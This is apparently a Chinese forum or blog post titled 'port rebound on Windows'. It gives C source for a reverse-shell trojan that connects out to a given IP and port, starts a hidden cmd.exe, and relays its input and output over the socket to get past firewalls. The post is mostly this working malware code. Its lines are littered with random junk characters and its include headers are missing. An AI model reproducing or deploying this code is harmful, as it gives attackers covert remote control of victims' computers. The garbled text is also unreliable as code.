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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F%y#)53g  
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/* ============================== igTs[q=Ak  
Rebound port in Windows NT a] c03$fK  
By wind,2006/7 'j'6x'[> ]  
===============================*/ >V)#y$Z  
#include W7|nc,i0\  
#include '>|K d{J0  
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#pragma comment(lib,"wsock32.lib") KS5a8'U  
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void OutputShell(); j-/$e,xX  
SOCKET sClient; 6rE8P#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5#f_1 V  
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void main(int argc,char **argv) M<l<n$rYS  
{ ^"lEa-g&  
WSADATA stWsaData; VgbT/v  
int nRet; bydI+pVMo  
SOCKADDR_IN stSaiClient,stSaiServer; EVqqOp1$v4  
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if(argc != 3) (g[WZB3x  
{ EY)?hJS,  
printf("Useage:\n\rRebound DestIP DestPort\n"); f\$_^dV  
return; 'e<8j  
} GK6~~ga=  
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WSAStartup(MAKEWORD(2,2),&stWsaData); zI ^:{]p  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); er BerbEEH  
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stSaiClient.sin_family = AF_INET; }vP(SF 6  
stSaiClient.sin_port = htons(0); PpLh j  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $P8AU81  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x3 ( _fS  
{ _XT;   
printf("Bind Socket Failed!\n"); Vy/G-IASb  
return; @R;k@b   
} ;c|_z 9+  
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stSaiServer.sin_family = AF_INET; C %j%>X`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pIpdVKen  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >Z gV8X:  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D\J.6W  
{ eq"Xwq*  
printf("Connect Error!"); NTK9`#SA  
return; icVB?M,m  
} ;U a48pSv  
OutputShell(); u+6L>7t88I  
} 4kV$JV.l  
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void OutputShell() g%ys|  
{ %ib7)8Ki0  
char szBuff[1024]; yP` K [/  
SECURITY_ATTRIBUTES stSecurityAttributes; .*+jD^Gr  
OSVERSIONINFO stOsversionInfo; muK.x7zyl  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  )L":I  
STARTUPINFO stStartupInfo; >@a7Zzl0H  
char *szShell; W"t^t|H'~  
PROCESS_INFORMATION stProcessInformation; T.%yeJiE  
unsigned long lBytesRead; ]w4?OK(j  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )@tHS-Jf  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s`v$r,N0  
stSecurityAttributes.lpSecurityDescriptor = 0; 8y[Rwa  
stSecurityAttributes.bInheritHandle = TRUE; ;Vf{3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N<Ym&$xR  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {}RU'<D  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t -}IKrbv  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m9D Tz$S.  
stStartupInfo.wShowWindow = SW_HIDE; Q$k#q<+0  
stStartupInfo.hStdInput = hReadPipe; #2Vq"Zn  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :}#j-ZCC"  
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GetVersionEx(&stOsversionInfo); AG;KXL[V  
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switch(stOsversionInfo.dwPlatformId) ^;[_CF _  
{ %z.d;[Hs  
case 1: |]Hr"saO0  
szShell = "command.com"; 'w<^4/L Q  
break; '0o^T 7C  
default: X Vo+ <&  
szShell = "cmd.exe"; }1CvbB%,A  
break; Cy5iEI#  
} @~5Fcfmm  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0G Q8} r  
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send(sClient,szMsg,77,0); nKEw$~F  
while(1) 4v{Ye,2  
{ 2FO<Z %Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J*6B~)Sp@  
if(lBytesRead) 0=40}n&`  
{ <QaUq `,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); . _Jypk8  
send(sClient,szBuff,lBytesRead,0); $GhL-sqm  
} id`RscV]  
else Es\J%*\u  
{ c]$$ap  
lBytesRead=recv(sClient,szBuff,1024,0); \TDn q!)?  
if(lBytesRead<=0) break; g]BA/Dw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t!B,%,Dp  
} Xw|-v$'y  
} $j@P 8<M7  
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return; f^IB:e#j;  
}
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